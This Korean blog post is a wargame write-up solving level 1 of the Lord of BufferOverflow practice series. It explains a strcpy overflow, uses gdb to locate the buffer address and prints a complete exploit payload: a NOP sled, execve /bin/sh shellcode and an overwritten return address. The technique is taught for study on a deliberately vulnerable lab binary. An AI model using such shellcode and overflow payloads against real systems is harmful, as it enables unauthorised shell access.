ANX1-Z3R0의 불안극복(不安克服)

001. lob 1번 | anxi0 본문

HACKING/[SYSTEM HACKING] LOB

001. lob 1번 | anxi0

ANX1Z3R0 2020. 7. 28. 00:20

솔직히 처음 풀었을때는 잘 몰랐던 것들이 이제 좀 익숙해지니까 보이기 시작하더라.

expert blind area를 파악하는 용도쯤으로 생각하고 이제는 제대로 문제를 파악하여 풀어보려 한다.

 

gate 접속부터 하자.

다시봐도 참 설레는 게이트

login : gate

Password: gate

ls 한 화면

gremlin실행 파일과 소스코드로 추정되는 파일이 하나 있다.

cat으로 까보자

 

소스코드

소스코드 내부이다.

256byte짜리 buffer를 생성,

argv[1]으로 넣은 내용을 buffer에 삽입, 그 내용을 printf하는 내용이다.

여기서 취약한 부분은 밑줄친 strcpy로, 삽입할 글자의 수를 지정하지 않았다.

BufferOverflow가 가능하다.

 

gdb로 분석해보자.

 

우선 분석용 파일을 복사시킨다. (쓰기 권한이 없으므로)

>>mkdir test

>>cp gremlin test

>>cd test

 

 

>>gdb -q gremlin

(gdb) set disassembly-flavor intel (인텔 문법으로 변경)

(gdb) disassembly main (메인함수 디스어셈블리)

이런게 나오는데,

겁먹지 말고 취약점만 찾아가자.

 

아까 취약점이 있는 부분이 뭐라고 했지? strcpy.

main+54부분에 있다.

그럼 일단 아무 값이나 넣어보고 이후에 상황을 보면 되겠지?

브레이크 포인트를 걸어주자.

(gdb) b *main+59

(gdb) r `python -c 'print "A*100'` (100개쯤 넣어보는 것이다. 버퍼의 시작 주소를 파악하기 위함이니)

(gdb) x/100x $esp (esp부터 아래로 쭉보면서 어떻게 채워졌는지 본다)

A=0x41이다. 41이 굉장히 많이 차있는 것을 볼 수 있다.

0xbffff9d8부터 버퍼의 시작인것이다.

그러면 우리는 함수의 에필로그에 따라 256byte 의 버퍼와 4byte의 sfp를 지나 ret에 도착하는데,

return 요 녀석이 아주 중요하다. 해당함수(strcpy)가 끝나고 어디로 갈지를 결정하기 때문이다.

따라서, 버퍼에 쉘을 따주는 함수를 넣어준 다음에 버퍼로 리턴을 시켜주면 쉘이 실행되는 것이다.

 

이 문제를 풀기 위해서 알아야 할 게 3가지 있다.

1. 쉘코드 = 쉘을 실행시키기 위한 문자열

2. ret = 함수가 끝나고 가는 주소

3. nop sled = no-operation(nop,\x90)으로 특정 글자의 해석없이 쭉 다음 실행문까지 내려가는 것

 

공격법(페이로드)는 다음과 같다.

버퍼(쉘코드+쓰레기값)+sfp(쓰레기 값)+ret(버퍼의주소)

여기서 쓰레기값으로 뭘 넣어도 상관이 없지만, 특히 nop(\x90,no-operation)으로 넣어주면 아무 처리 없이 쭈욱 실행되므로 좋다.

여기서 사용할 쉘코드는 웹에서 많이 떠돌아다니는 24byte shellcode를 사용하겠다.

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

페이로드는 문자열 처리가 쉬운 파이썬으로 편집하겠다.

따라서 `python -c 'print "\x90"*200+ "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*36 + "\xd8\xf9\xff\xbf"'`

 

여기서 의문점,

1. 왜 쉘코드+nop으로 하지 않았는가?

A. 쉘코드를 살짝 뒤에 넣고 리턴을 안전한 nop으로 보냄으로써 잘 실행 되도록 한다.

2. ret에 "\xd8\xf9\xff\xbf" 얘는 뭔가?

A. 버퍼의 시작주소인 0xbffff9d8로, 리틀엔디안 방식으로 넣어야 주소가 인식되므로 저런식으로 넣은 것이다.

3. python 문법

A. ``로 파이썬 실행문을 덮고, ""로 print문을 덮고, ''안에 문자열과 갯수만큼 곱해줌으로써 페이로드를 쉽게 짜는것이다. ('' ""의 위치는 바뀌어도 상관없다)

 

쉘코드를 인식하는 bash2쉘 입력한다.

>> bash2

 

원래 파일로 공격을 시도한다.

>> cd ..

>> ./gremlin `python -c 'print "\x90"*200+ "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*36 + "\xd8\xf9\xff\xbf"'`

bash$가 뜨면 성공,

규칙 대로 my-pass를 쳐서 다음 스텝의 비밀번호를 얻자.

'HACKING > [SYSTEM HACKING] LOB' 카테고리의 다른 글

003. lob 3번 | anxi0  (0) 2020.07.28
002. lob 2번 | anxi0  (0) 2020.07.28
.iso 파일 VMware에 적용시키기  (0) 2020.07.11
VMware 15.5 pro keygen 설치 방법  (0) 2020.07.11
012. skeleton to golem | anxi0  (0) 2019.04.03
Comments